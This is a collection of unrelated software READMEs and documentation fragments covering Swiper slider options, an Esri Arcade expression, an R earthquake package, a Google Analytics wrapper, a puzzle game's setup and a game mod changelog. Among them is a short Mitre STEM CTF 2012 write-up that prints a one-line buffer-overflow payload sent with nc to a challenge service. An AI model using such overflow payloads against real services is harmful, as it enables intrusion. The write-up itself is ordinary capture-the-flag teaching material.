    var mySwiper = new Swiper('.swiper-container', {
      lazy: {
        loadPrevNext: true,
      },
    });

{

loadPrevNext

boolean

false

Set to "true" to enable lazy loading for the closest slides images (for previous and next slide images)

loadPrevNextAmount

number

1

Amount of next/prev slides to preload lazy images in.  For example:

    var mySwiper = new Swiper('.swiper-container', {
      fadeEffect: {
        crossFade: true
      },
    });

{

crossFade

boolean

false

Enables slides cross fade

}

### Coverflow Effect

#### Coverflow Effect Parameters

Be sure to have the `effect` param set to `coverflow` in order for this to work.

Parameter

Type

Default

Description

coverflowEffect

object

Object with Coverflow-effect parameters. For example:

    var mySwiper = new Swiper('.swiper-container', {
      coverflowEffect: {
        rotate: 30,
        slideShadows: false,
      },
    });

{

slideShadows

boolean

true

Enables slides shadows

rotate

number

50

Slide rotate in degrees

stretch

number

0

Stretch space between slides (in px)

depth

number

100

Depth offset in px (slides translate in Z axis)

modifier

number

1

Effect multipler

}

### Flip Effect

#### Flip Effect Parameters

Be sure to have the `effect` param set to `flip` in order for this to work.

Parameter

Type

Default

Description

flipEffect

object

Object with Flip-effect parameters. For example:

    var mySwiper = new Swiper('.swiper-container', {
      flipEffect: {
        rotate: 30,
        slideShadows: false,
      },
    });

{

slideShadows

boolean

true

Enables slides shadows

limitRotation

boolean

true

Limit edge slides rotation

}

### Cube Effect

#### Cube Effect Parameters

Be sure to have the `effect` param set to `cube` in order for this to work.

Parameter

Type

Default

Description

cubeEffect

object

Object with Cube-effect parameters. For example:

    var mySwiper = new Swiper('.swiper-container', {
      cubeEffect: {
        slideShadows: false,
      },
    });

{

slideShadows

boolean

true

Enables slides shadows

shadow

boolean

true

Enables main slider shadow

shadowOffset

number

20

Main shadow offset in px

shadowScale

number

0.94

Main shadow scale ratio

}

### Thumbs

In addition to [Controller](#controller) component Swiper comes with Thumbs component that is designed to work with additional thumbs swiper in a more correct way than Controller which is used for syncing two swipers.

#### Thumbs Parameters

Parameter

Type

Default

Description

thumbs

object

Object with thumbs component parameters. For example:

    var mySwiper = new Swiper('.swiper-container', {
      ...
      thumbs: {
        swiper: thumbsSwiper
      }
    });

{

swiper

object
Swiper

Swiper instance of swiper used as thumbs or object with Swiper parameters to initialize thumbs swiper. For example:

    var thumbsSwiper = new Swiper('.swiper-container-thumbs', {
      slidesPerView: 5,
    });

    var mySwiper = new Swiper('.swiper-container', {
      ...
      thumbs: {
        swiper: thumbsSwiper
      }
    });

or

    var mySwiper = new Swiper('.swiper-container', {
      ...
      thumbs: {
        swiper: {
          el: '.swiper-container-thumbs',
          slidesPerView: 5,
          ...
        }
      }
    });

slideThumbActiveClass

string

'swiper-slide-thumb-active'

Additional class that will be added to activated thumbs swiper slide

thumbsContainerClass

string

'swiper-container-thumbs'

Additional class that will be added to thumbs swiper-container

multipleActiveThumbs

boolean

true

When enabled multiple thumbnail slides may get activated

autoScrollOffset

number

0

Allows to set on which thumbs active slide from edge it should automaticall move scroll thumbs. For example, if set to `1` and last visible thumb will be activated (1 from edge) it will auto scroll thumbs

}

#### Thumbs Methods & Properties

Properties

mySwiper.thumbs.swiper

Swiper instance of thumbs swiper

### Zoom

Swiper supports zoom images functionality (similar to what you see on iOS when browsing single photo) where you can zoom-in image by pinch gesture and or by zoom-in/out by double tap on it. In this case, additional layout is required:

Plain slide with text

*   All "zoomable" images should be wrapped with the div with `swiper-zoom-container` class.

*   By default it expects to zoom one of the `img`, `picture` or `canvas` element. If you want to make zoom on some other custom element, then just add `swiper-zoom-target` class to this element. For example:

*   You can override `maxRatio` parameter for specific slides by using `data-swiper-zoom` attribute on zoom container.

#### Zoom Parameters

Parameter

Type

Default

Description

zoom

object/boolean

Enables zooming functionality. Object with zoom parameters or boolean **true** to enable with default settings. For example:

    var mySwiper = new Swiper('.swiper-container', {
      zoom: {
        maxRatio: 5,
      },
    });

{

maxRatio

number

3

Maximum image zoom multiplier

minRatio

number

1

Minimal image zoom multiplier

toggle

boolean

true

Enable/disable zoom-in by slide's double tap

containerClass

string

'swiper-zoom-container'

CSS class name of zoom container

zoomedSlideClass

string

'swiper-slide-zoomed'

CSS class name of zoomed in container

}

#### Zoom Methods & Properties

Properties

mySwiper.zoom.enabled

Whether the zoom module is enabled

mySwiper.zoom.scale

Current image scale ratio

Methods

mySwiper.zoom.enable();

Enable zoom module

mySwiper.zoom.disable();

Disable zoom module

mySwiper.zoom.in();

Zoom in image of the currently active slide

mySwiper.zoom.out();

Zoom out image of the currently active slide

mySwiper.zoom.toggle();

Toggle image zoom of the currently active slide

#### Zoom Events

Event name

Arguments

Description

zoomChange

scale, imageEl, slideEl

Event will be fired when zoom changes

### Keyboard Control

#### Keyboard Control Parameters

Parameter

Type

Default

Description

keyboard

object/boolean

false

Enables navigation through slides using keyboard. Object with keyboard parameters or boolean **true** to enable with default settings. For example:

    var mySwiper = new Swiper('.swiper-container', {
      keyboard: {
        enabled: true,
        onlyInViewport: false,
      },
    });

{

enabled

boolean

false

Set to **true** to enable keyboard control

onlyInViewport

boolean

true

When enabled it will control sliders that are currently in viewport

pageUpDown

boolean

true

When enabled it will enable keyboard navigation by Page Up and Page Down keys

}

#### Keyboard Methods & Properties

Properties

mySwiper.keyboard.enabled

Whether the keyboard control is enabled

Methods

mySwiper.keyboard.enable();

Enable keyboard control

mySwiper.keyboard.disable();

Disable keyboard control

### Mousewheel Control

#### Mousewheel Control Parameters

Parameter

Type

Default

Description

mousewheel

object/boolean

false

Enables navigation through slides using mouse wheel. Object with mousewheel parameters or boolean **true** to enable with default settings. For example:

    var mySwiper = new Swiper('.swiper-container', {
      mousewheel: {
        invert: true,
      },
    });

{

forceToAxis

boolean

false

Set to **true** to force mousewheel swipes to axis. So in horizontal mode mousewheel will work only with horizontal mousewheel scrolling, and only with vertical scrolling in vertical mode.

releaseOnEdges

boolean

false

Set to **true** and swiper will release mousewheel event and allow page scrolling when swiper is on edge positions (in the beginning or in the end)

invert

boolean

false

Set to **true** to invert sliding direction

sensitivity

number

1

Multiplier of mousewheel data, allows to tweak mouse wheel sensitivity

eventsTarget

string / HTMLElement

'container'

String with CSS selector or HTML element of the container accepting mousewheel events. By default it is swiper-container

}

#### Mousewheel Methods & Properties

Properties

mySwiper.mousewheel.enabled

Whether the mousewheel control is enabled

Methods

mySwiper.mousewheel.enable();

Enable mousewheel control

mySwiper.mousewheel.disable();

Disable mousewheel control

### Virtual Slides

Virtual Slides module allows to keep just required amount of slides in DOM. It is very useful in terms in performance and memory issues if you have a lot of slides, especially slides with heavyweight DOM tree or images.

Note that according to Virtual Slides realization it **doesn't work** with `loop` mode, `slidesPerColumn` more than 1 and `slidesPerView: 'auto'`

#### Virtual Slides Parameters

Parameter

Type

Default

Description

virtual

object/boolean

Enables virtual slides functionality. Object with virtual slides parameters or boolean **true** to enable with default settings. For example:

    var mySwiper = new Swiper('.swiper-container', {
      virtual: {
        slides: ['Slide 1', 'Slide 2', 'Slide 3', 'Slide 4', 'Slide 5'],
      },
    });

{

slides

array

[]

Array with slides

cache

boolean

true

Enables DOM cache of rendering slides html elements. Once they are rendered they will be saved to cache and reused from it.

renderSlide

function(slide, index)

null

Function to render slide. As an argument it accepts current slide item for `slides` array and index number of the current slide. Function must return an outter HTML of the swiper slide.

renderExternal

function(data)

null

Function for external rendering (e.g. using some other library to handle DOM manipulations and state like React.js or Vue.js). As an argument it accepts data object with the following properties:

*   `offset` - slides left/top offset in px
*   `from` - index of first slide required to be rendered
*   `to` - index of last slide required to be rendered
*   `slides` - array with slide items to be rendered

addSlidesBefore

number

0

Increases amount of pre-rendered slides before active slide

addSlidesAfter

number

0

Increases amount of pre-rendered slides after active slide

}

#### Virtual Slides Methods & Properties

Properties

mySwiper.virtual.cache

Object with cached slides HTML elements

mySwiper.virtual.from

Index of first rendered slide

mySwiper.virtual.to

Index of last rendered slide

mySwiper.virtual.slides

Array with slide items passed by `virtual.slides` parameter

Methods

mySwiper.virtual.appendSlide(slides);

Append slide. `slides` can be a single slide item or array with such slides.

mySwiper.virtual.prependSlide(slides);

Prepend slide. `slides` can be a single slide item or array with such slides.

mySwiper.virtual.removeSlide(slideIndexes);

Remove specific slide or slides. `slideIndexes` can be a number with slide index to remove or array with indexes.

mySwiper.virtual.removeAllSlides();

Remove all slides.

mySwiper.virtual.update();

Update virutal slides state.

#### renderExternal Example

`renderExternal` allows to bypass slides rendering to other libraries, and can be super handy with libraries like React.js and Vue.js

With **Vue.js**

    <template>

          <div class="swiper-slide"
            v-for="(slide, index) in virtualData.slides"
            :key="index"
            :style="{left: `${virtualData.offset}px`}"
          >{{slide}}

    </template>

### Hash Navigation

Hash navigation is intended to have a link to specific slide that allows to load page with specific slide opened.

To make it work, you need to enable it by passing `hashNavigation:true` parameter and adding slides hashes in `data-hash` attribute:

Slide 1

Slide 2

Slide 3

Slide 4

Slide 5

            ...

    var swiper = new Swiper('.swiper-container', {
      //enable hash navigation
      hashNavigation: true
    })

#### Hash Navigation Parameters

Parameter

Type

Default

Description

hashNavigation

object/boolean

Enables hash url navigation to for slides. Object with hash navigation parameters or boolean **true** to enable with default settings. For example:

    var mySwiper = new Swiper('.swiper-container', {
      hashNavigation: {
        replaceState: true,
      },
    });

{

watchState

boolean

false

Set to **true** to enable also navigation through slides (when hashnav is enabled) by browser history or by setting directly hash on document location

replaceState

boolean

false

Works in addition to hashnav to replace current url state with the new one instead of adding it to history

}

#### Hash Navigation Events

Event name

Arguments

Description

hashChange

Event will be fired on window hash change

hashSet

Event will be fired when swiper updates the hash

### History Navigation

#### History Navigation Parameters

Parameter

Type

Default

Description

history

object/boolean

Enables history push state where every slide will have its own url. In this parameter you have to specify main slides url like **"slides"** and specify every slide url using `data-history` attribute.

Object with history navigation parameters or boolean **true** to enable with default settings. For example:

    var mySwiper = new Swiper('.swiper-container', {
      history: {
        replaceState: true,
      },
    });

{

replaceState

boolean

false

Works in addition to hashnav or history to replace current url state with the new one instead of adding it to history

key

string

'slides'

Url key for slides

}

### Controller

#### Controller Parameters

Parameter

Type

Default

Description

controller

object/boolean

Object with controller parameters or boolean **true** to enable with default settings. For example:

    var mySwiper = new Swiper('.swiper-container', {
      controller: {
        inverse: true,
      },
    });

{

control

[Swiper Instance]

undefined

Pass here another Swiper instance or array with Swiper instances that should be controlled by this Swiper

inverse

boolean

false

Set to **true** and controlling will be in inverse direction

by

string

'slide'

Can be `'slide'` or `'container'`. Defines a way how to control another slider: slide by slide (with respect to other slider's grid) or depending on all slides/container (depending on total slider percentage)

}

### Accessibility (a11y)

#### Accessibility Parameters

Parameter

Type

Default

Description

a11y

object/boolean

Object with a11y parameters or boolean **true** to enable with default settings. For example:

    var mySwiper = new Swiper('.swiper-container', {
      a11y: {
        prevSlideMessage: 'Previous slide',
        nextSlideMessage: 'Next slide',
      },
    });

{

enabled

boolean

true

Enables A11y

prevSlideMessage

string

'Previous slide'

Message for screen readers for previous button

nextSlideMessage

string

'Next slide'

Message for screen readers for next button

firstSlideMessage

string

'This is the first slide'

Message for screen readers for previous button when swiper is on first slide

lastSlideMessage

string

'This is the last slide'

Message for screen readers for previous button when swiper is on last slide

paginationBulletMessage

string

'Go to slide {{index}}'

Message for screen readers for single pagination bullet

notificationClass

string

'swiper-notification'

CSS class name of a11y notification

}

## Custom Build

You have two options of making custom version of Swiper.

### 1\. Using ES-module

If you use bundler with ES-modules support in your project you can import only the modules you need:

    // Import Swiper and modules
    import { Swiper, Navigation, Pagination, Scrollbar } from 'swiper/js/swiper.esm.js';

    // Install modules
    Swiper.use([Navigation, Pagination, Scrollbar]);

    // Now you can use Swiper
    var swiper = new Swiper('.swiper-container', {
      speed: 500,
      navigation: {
        nextEl: '.swiper-button-next',
        prevEl: '.swiper-button-prev',
      },
      // ...
    });

The following modules are exported from `swiper.esm.js`:

*   `Swiper` - core library
*   `Virtual` - Virtual Slides module
*   `Keyboard` - Keyboard Control module
*   `Mousewheel` - Mousewheel Control module
*   `Navigation` - Navigation module
*   `Pagination` - Pagination module
*   `Scrollbar` - Scrollbar module
*   `Parallax` - Parallax module
*   `Zoom` - Zoom module
*   `Lazy` - Lazy module
*   `Controller` - Controller module
*   `A11y` - Accessibility module
*   `History` - History Navigation module
*   `HashNavigation` - Hash Navigation module
*   `Autoplay` - Autoplay module
*   `EffectFade` - Fade Effect module
*   `EffectCube` - Cube Effect module
*   `EffectFlip` - Flip Effect module
*   `EffectCoverflow` - Coverflow Effect module

### 2\. Using Build Script

Swiper comes with gulp builder that allows to build custom library version where you may include only required modules. We need the following:

1.  Download and unzip Swiper GitHub repository to local folder
2.  Install Node.js (if not installed)
3.  Install Gulp (if not installed) by executing the following command in terminal:

        $ npm install --global gulp

4.  Now, we need to install required dependencies. Go to the folder with downloaded and unzipped Swiper repository and execute in terminal:

        $ npm install

5.  Open `scripts/build-config.js` file:

        module.exports = {
          // remove components you don't need
          components: [
            'virtual',
            'keyboard',
            'mousewheel',
            'navigation',
            'pagination',
            'scrollbar',
            'parallax',
            'zoom',
            'lazy',
            'controller',
            'a11y',
            'history',
            'hash-navigation',
            'autoplay',
            'effect-fade',
            'effect-cube',
            'effect-flip',
            'effect-coverflow',
          ],
          // target device, can be "desktop" or "universal"
          target: 'universal',
          // default color of navigation elements
          themeColor: '#007aff',
          // additional color to be included
          colors: {
            white: '#ffffff',
            black: '#000000',
          },
        };

6.  Now, we are ready to build custom version of Swiper:

        $ npm run build:prod

7.  That is all. Generated CSS and JS files and their minified versions will be available in `package/` folder.


text:
# Strength of Predominance

Returns the value of a the winning (or predominant) field as a percentage
of the total value (or share) among a set of competing number fields. For example, if a layer contains three
fields for vote totals (e.g. Republican, Democrat, Other), the strength of the predominance
will be the value of the winner divided by all categories combined. For example, in an election map, if a Republican wins a county with 55% of the vote, then the value returned by this expression will be `55`. This should be used in
conjunction with a predominance visualization.

Read the [Creating a predominance visualization with Arcade](https://blogs.esri.com/esri/arcgis/2017/05/23/creating-a-predominance-visualization-with-arcade/) blog post from
the ArcGIS blog for more information.

## Use cases

Calculating the strength of predominance is useful for providing more detail in a predominance visualization. If creating a visualization in ArcGIS Online, this is particularly powerful for driving the opacity of the features alongside a predominance visualization.

For example, in an election map, the feature can be shaded with a certain color to represent the winner of the vote for the given area. The strength of predominance helps show how convincing the victory is. When applied to an opacity ramp, low values will make the feature more transparent, and high values will make it more opaque. That way if a candidate won a highly populated county by only one vote, then the color of the feature will be virtually indiscernible, indicating it wasn't a convincing victory, but hotly contested.

While common in the visualization profile, this expression may be used in the popup and labeling profiles as well.

## Workflow

Copy and paste the expression found in the expression template below to
the Arcade editor in ArcGIS Online, the relevant location in ArcGIS Pro, or
the relevant location in a custom app.

To configure the script to your layer, you must construct an array of field values
referenced using the `$feature` global.

For example, in a layer representing U.S. counties containing voting data from the 2016 U.S.
presidential election, you would replace this:

```js
var fields = [
  $feature.FIELD_NAME_1,
  $feature.FIELD_NAME_2
  // e.g. $feature.CATEGORY3_A + $feature.CATEGORY3_B,
  // $feature.CATEGORY4

  // ADD MORE FIELDS AS NECESSARY
];
```

With something like the following:

```js
var fields = [
  $feature.REPUBLICAN_VOTES,
  $feature.DEMOCRAT_VOTES,
  $feature.OTHER_VOTES
];
```

## Expression Template

```js
// The fields from which to calculate predominance
// Each item in the array must reference a field global variable
// OR an arcade expression that returns a number
// Replace the field names in ALL CAPS with
// the competing fields in your layer

var fields = [
  $feature.FIELD_NAME_1,
  $feature.FIELD_NAME_2
  // e.g. $feature.CATEGORY3_A + $feature.CATEGORY3_B,
  // $feature.CATEGORY4

  // ADD MORE FIELDS AS NECESSARY
];

// Returns the strength of the predominant field as a
// percentage of all fields.

var winner = Max(fields);
var total = Sum(fields);
return (winner/total)*100;
```

## Example output

See [this web map](https://jsapi.maps.arcgis.com/home/webmap/viewer.html?webmap=c453bcc6ab154f8ab7cf7acbeba2ce53) for examples of how to use this expression in ArcGIS Online.

[![predominance-strength](./images/predominance-strength.png)](https://jsapi.maps.arcgis.com/home/webmap/viewer.html?webmap=c453bcc6ab154f8ab7cf7acbeba2ce53)

repository: Esri/arcade-expressions

branch_name: refs/heads/master

extension: md

gha_language: JavaScript

license_type: permissive

repo_name: Esri/arcade-expressions


text:
[![Build
Status](https://travis-ci.com/lemonad/coursera-mastering-r-capstone.svg?branch=main)](https://travis-ci.com/lemonad/coursera-mastering-r-capstone)

This package is the capstone project for Coursera’s *Mastering Software
Development in R* specialization consisting of the courses

-   [The R Programming
    Environment](https://www.coursera.org/learn/r-programming-environment?specialization=r),
-   [Advanced R
    Programming](https://www.coursera.org/learn/advanced-r?specialization=r),
-   [Building R
    Packages](https://www.coursera.org/learn/r-packages?specialization=r),
-   [Building Data Visualization
    Tools](https://www.coursera.org/learn/r-data-visualization?specialization=r),
-   [Mastering Software Development in R
    Capstone](https://www.coursera.org/learn/r-capstone?specialization=r)

The package provides functions to clean and visualize data from the
[NOAA Significant Earthquake
Database](https://www.ngdc.noaa.gov/hazel/view/hazards/earthquake/search).

### Installation

Install the development version of this package using

    devtools::install_github("lemonad/coursera-mastering-r-capstone")

### Dataset

The NOAA Significant Earthquake database can be made available by
executing the following

    api_uri <- "https://www.ngdc.noaa.gov/hazel/hazard-service/api/v1/earthquakes"
    f <- jsonlite::read_json(api_uri, simplify = TRUE)
    earthquakes <- dplyr::as_tibble(f$items)

### Cleaning

The API data has some quirks and can be made easier to work with by
using the function `eq_clean_data` which returns a dataframe that can be
subsequently filtered, etc.

    df <- earthquakes %>%
      eq_clean_data() %>%
      dplyr::filter(
        country %in% c("USA", "Mexico") & lubridate::year(date) >= 2000
      )

Note that the BCE events are removed from the results per the
requirements of using the class `Date` for the dates. This could be
remedied by using the package
[gregorian](https://github.com/edgararuiz/gregorian).

### Timeline

Having cleaned the data, the events can now be plotted on a timeline
with optional label annotation. Below, the timeline is plotted with a
separate axis for each country and events are colored according to the
total number of deaths. The five highest magnitude events are annotated
with their corresponding location.

    df %>%
      ggplot2::ggplot(
        ggplot2::aes(x = date, y = country, colour = deathsTotal),
        alpha =
      ) +
      geom_timeline() +
      geom_timeline_label(
        ggplot2::aes(label = locationName, magnitude = eqMagnitude),
        n_max = 5
      )

### Map

The sites of the events can also be plotted on an interactive map. The
sites will show a tooltip containing details when clicked. Here, the
helper function `eq_create_label` is used to create the underlying html
for the tooltip.

    df %>%
      dplyr::mutate(popup_text = eq_create_label(.)) %>%
      eq_map(annot_col = "popup_text")

license: MIT

repository: lemonad/coursera-mastering-r-capstone

branch_name: refs/heads/main

repo_name: lemonad/coursera-mastering-r-capstone


text:
# Gaapi 0.1.5

A light weight python wrapper for [Google's Analytics Reporting API v4](https://developers.google.com/analytics/devguides/reporting/core/v4/) written upon [Google's API Python Client](https://github.com/google/google-api-python-client).

# Features provided by Gaapi
- Analytics focussed library to handle reporting api.
- Pythonic style usage.
- Enables you to cache your response data.
- Enables you to get simplified response data. (TO-DO)

# Installation
To install, simply use `pip` or `easy_install`:

```bash
$ pip install --upgrade gaapi
```
or
```bash
$ easy_install --upgrade gaapi
```

# Acquire Google credentials

**1.  To create a Service Account Credentials, follow the below link**

https://support.google.com/a/answer/7378726?hl=en

**2.  Get view ID in Google Analytics, follow the below link**

https://keyword-hero.com/documentation/finding-your-view-id-in-google-analytics

------------

# Get Started
#### Instanstiate GA Client

    from gaapi import Client

    GA_SERVICE_ACCOUNT_CREDENTIALS = {
       "type": "service_account",
       "project_id": "analytics-xyz",
       "private_key_id": "private_key_id",
       "private_key": "-----BEGIN PRIVATE KEY-----ASADASDONWQENLKQWEIL\nASDASDOILWQE",
       "client_email"<EMAIL_ADDRESS>       "client_id": "103486406559549721528",
       "auth_uri": "https://accounts.google.com/o/oauth2/auth",
       "token_uri": "https://accounts.google.com/o/oauth2/token",
       "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
       "client_x509_cert_url"<EMAIL_ADDRESS>    }
    GA_VIEW_ID = '12345567890'

    ga = Client(
            credentials=GA_SERVICE_ACCOUNT_CREDENTIALS,
            view_id=GA_VIEW_ID
         )

### Generate Query

#### Gaapi format

    query = ga.query.date_ranges(
            start_date='2018-07-03', end_date='today'
        ).metrics(
            expression='ga:users'
        ).dimensions(
            name='ga:pagePath'
        ).dimensions(
            name='ga:eventLabel'
        ).dimension_filter_clauses(
            filters=[{
                "dimension_name": "ga:pagePath",
                "operator": "REGEXP",
                "expressions": ".*something.*"
            }],
        )

    # Clone query (Only for Gaapi format)
    # Add `clean=True` to reset a value in the query (say for date_ranges)
    cloned_query = ga.query.clone(query).date_ranges(
             start_date='2018-08-01', end_date='today', clean=True
        )

    # Read query
    print(query.json())

#### Python Dictionary format
    query = {
        'date_ranges': {
            'start_date': '2018-07-03',
            'end_date': 'today'
        },
        'metrics': [
            {'expression': 'ga:users'}
        ],
        'dimensions': [
            {'name': 'ga:pagePath'}
        ],
        'dimension_filter_clauses': [{
          "filters": [{
              "dimension_name": "ga:pagePath",
              "operator": "REGEXP",
              "expressions": "\/.*something\/.*"
          }]
        }]
    }

#### Google's original query format
    query = {
        'dateRanges': {
            'startDate': '2018-07-03',
            'endDate': 'today'
        },
        'metrics': [
            {'expression': 'ga:users'}
        ],
        'dimensions': [
            {'name': 'ga:pagePath'}
        ],
        'dimensionFilterClauses': [{
          "filters": [{
              "dimensionName": "ga:pagePath",
              "operator": "REGEXP",
              "expressions": "\/.*something\/.*"
          }]
        }]
    }

#### Request Data

    # Using gaapi query or python dictionary or json
    response = ga.batch_get(query)

    # Cache for 600ms
    response = ga.batch_get(query, cache_ttl=600)

------

## Third Party Libraries and Dependencies
The following libraries will be installed when you install the client library:
* [google-api-python-client](https://github.com/google/google-api-python-client) (Google Client Library)
* [google-auth](https://github.com/GoogleCloudPlatform/google-auth-library-python/) (Google Auth Library)
* [walrus](https://github.com/coleifer/walrus) (Light weight Caching Library)

## To-Dos
- Response Object Manipulation. (This update will enable to you to generate response in Google Raw Response, Simplified Response, CSV, Panda Dataframe).
- Test cases.

## Contribute
1. Look for an open [issue](https://github.com/rakeshgunduka/gaapi/issues) or create new issue to get a dialog going about the new feature or bug that you've discovered.
2. Fork the [repository](https://github.com/rakeshgunduka/gaapi) on Github to start making your changes to the master branch (or branch off of it).
3. Write a test which shows that the bug was fixed or that the feature works as expected.
4. Make a pull request.

repository: rakeshgunduka/gaapi

gha_language: Python

gha_license_id: MIT

repo_name: rakeshgunduka/gaapi


text:
Muchmala
==========
Massive multiplayer online puzzle.

Requirements
------------

* git v1.6.5+
* [Vagrant-only] [Vagrant](http://vagrantup.com/)
* [Vagrant-only] maverick32 box added to Vagrant
* [AWS-only] Amazon Web Services account credentials

Installation (Vagrant)
----------------------

1. Clone the repository recursively to also get all submodules.

        git clone --recursive https://github.com/muchmala/muchmala.git

2.  While you're waiting for the instance to finish provisioning, add a line to your `/etc/hosts`:

        <IP_ADDRESS> muchmala.dev io1.muchmala.dev io2.muchmala.dev static.muchmala.dev

4. Once the provisioning is complete, SSH into your guest box.

        vagrant ssh

5.  Install required node modules.

        npm install

7. Install jake and stylus globally.

        sudo npm install -g jake stylus

8. Generate and setup nginx, supervisor and other configs.

        sudo jake install

9. Put some big image into project directory. Call it something like `puzzle.jpg`.
10. Generate the first puzzle using that image.

        bin/muchmala-covers
        bin/muchmala-puzzle -i puzzle.jpg

11. Finally, start all services.

        sudo jake start

Vagrant is pre-configured to give your VM an IP address of <IP_ADDRESS>.
During step 3 you assigned couple of domain names to that address,
so now you can check if Muchmala is running by opening `http://muchmala.dev/` in your browser.

Installation (AWS)
------------------

TODO: automate all this stuff.

1. Launch instance based on AMI `ami-cef405a7` (others weren't tested, but any Ubuntu 10.10+ should work). Don't forget to allow incoming connections to port 80 in EC2 security group settings.
2. SSH into your EC2 instance.
3. Update packages info.

        sudo apt-get update

4. Install git, ruby and rubygems.

        sudo apt-get install -y git ruby1.8-dev rubygems

5. Install chef.

        sudo gem install --version 0.9.16 chef --no-rdoc --no-ri

6. Create project directory and change it's owner/group to the current user.

        sudo mkdir /opt/muchmala
        sudo chown $USER:$USER /opt/muchmala

7. Clone the project repository into project directory.

        git clone --recursive https://github.com/muchmala/muchmala.git /opt/muchmala

8. Go into project directory and run chef-solo.

        cd /opt/muchmala
        sudo /var/lib/gems/1.8/bin/chef-solo -c chef/solo.rb -j chef/node.json

9. Install required node modules.

        npm install
        sudo npm install jake stylus -g

10. Create S3 bucket with the name like `static.muchmala.com` for JS/CSS/images, including puzzles images.
11. Create `config.local.js` that should look like this:

        var config = exports;
        config.DEV = false;
        config.AWS_KEY      = '<YOUR AWS KEY>';
        config.AWS_SECRET   = '<YOUR AWS SECRET>';

        config.MAIN_DOMAIN = 'muchmala.com'; // hostname of your EC2 instance

        config.IO_HOST = 'io.muchmala.com'; // for now it's just an alias for muchmala.com
        config.IO_PORT = 80; // don't forget the port - it's important

        config.STATIC_HOST = 'static.muchmala.com.s3.amazonaws.com'; // your S3 bucket hostname (or it's CNAME alias) for static files
        config.STATIC_PORT = 80; // don't forget the port - it's important

        config.S3_BUCKET_STATIC = 'static.muchmala.com'; // your S3 bucket name for static files

        config.TWITTER_KEY = '<YOUR TWITTER KEY>';
        config.TWITTER_SECRET = '<YOUR TWITTER SECRET>';

        config.FACEBOOK_ID = '<YOUR FACEBOOK ID>';
        config.FACEBOOK_SECRET = '<YOUR FACEBOOK SECRET>';

        config.YAHOO_KEY = '<YOUR YAHOO KEY>';
        config.YAHOO_SECRET = '<YOUR YAHOO SECRET>';

        config.GOOGLE_KEY = '<YOUR GOOGLE KEY>';
        config.GOOGLE_SECRET = '<YOUR GOOGLE SECRET>';

12. Put some big image into project directory. Call it something like `puzzle.jpg`.
13. Generate the first puzzle using that image.

        bin/muchmala-puzzle -i puzzle.jpg

14. Generate covers

        bin/muchmala-covers

15. Generate production CSS/JS and upload them to S3, together with puzzle images.

        jake static-upload

16. Start all services using (don't forget the colon at the end).

        sudo jake start

You can now check if Muchmala is running by navigating to EC2's hostname in your browser.

License
-------

(The MIT License)

Copyright (c) 2011 Serge Borbit<EMAIL_ADDRESS>
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
'Software'), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:

The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

repository: muchmala/muchmala

repo_name: muchmala/muchmala


text:
# Locale::getPrimaryLanguage

The behaviour when a falsy value is passed as the $locale is undocumented, but it appears that it returns the primary language of the default system language. In my case:

    Locale::getPrimaryLanguage(null);

Returns 'en'. So make sure to test $locale before passing it to the method.

---

[Official documentation page](https://www.php.net/manual/en/locale.getprimarylanguage.php)

**[To root](/README.md)**


text:
---
title: 'Mitre STEM CTF 2012 — bin400'
layout: post
authors:
  - Alex Reece <awreece>
categories:
  - Pwn
ctf: Mitre STEM
year: 2012
---
## Overview

[bin400][1] is a network service has a buffer overflow vulnerability — it prints the key if some magic numbers are changed and otherwise prints itself.

<!--more-->

## Writeup

After realizing that the question was terribly worded and the service was not available publicly, we finally connect to the service and are rewarded with a binary. Its quickly apparent we're supposed to overflow a buffer and change some magic value.

```
% cat <(perl -e 'print "A"x256, "\x13\x0f\x17\x7f", "\x54\x4e\x4f\x44", "\x42\x7d\x3d\x5e", "\n"') - | tsocks nc <IP_ADDRESS> 3490
MCA-A4C52829
```

 [1]: http://ppp.cylab.cmu.edu/wordpress/wp-content/uploads/2012/07/bin400.tar.gz

gha_language: SCSS


text:
# Ability Choice

BTD6 Abilities are fun and interactive, definitely, but sometimes you just don't feel like using them.
This mod gives you a choice: use the ability of a tower like normal, or give it up to instead give the base tower new effects.

Examples:

Plasma Monkey Fan Club

![Plasma Monkey Fan Club](https://github.com/doombubbles/BTD6-Mods/blob/main/AbilityChoice/PlasmaMonkey.gif?raw=true)

Rocket Storm

![Rocket Storm](https://github.com/doombubbles/BTD6-Mods/blob/main/AbilityChoice/RocketStorm.gif?raw=true)

For a full list of possiblities and their exact effects, look [here](https://tinyurl.com/abilitychoice).

**Changelog**

v1.0.13 Small bug fixes

v1.0.12 Fixed for better compatibility with Latest MelonLoader version(s)

v1.0.11 Fixed a bug where Tower Placement wouldn't fully resolve

v1.0.10 Stopped the Jungle's Bounty buff from stacking

v1.0.9 Updated for BTD Mod Helper official release and BloonsTD6 v25.0

v1.0.8 Bug fixes and compatibility with new Mega Knowledge mod

v1.0.7 Now fully Co-Op compatible (other players still need mod as well)

v1.0.6 Updated for BloonsTD6 V23.0

v1.0.5 Fixed another Dartling Gunner issue

v1.0.4 Fixed misc Bank issues

v1.0.3 Fixed Monkey Knowledge issues (Monkey-Nomics depositing hype) and Sabo slowing BADs (LOL)

v1.0.2 Fixed an issue with Wizard Phoenixes

v1.0.1 Fixed issues with Dartling Gunner and Overclock

v1.0.0 Release


text:
This module exports commands for creating a nushell prompt that computes git status (staged and
unstaged changes) asynchronously. This can be useful in large git repos when it is slow to obtain
this information synchronously.

To use this module:

0. Place the file `async-git-prompt.nu` in the `$nu.config-path` directory (this is the directory
   containing `init.nu` and `env.nu`).

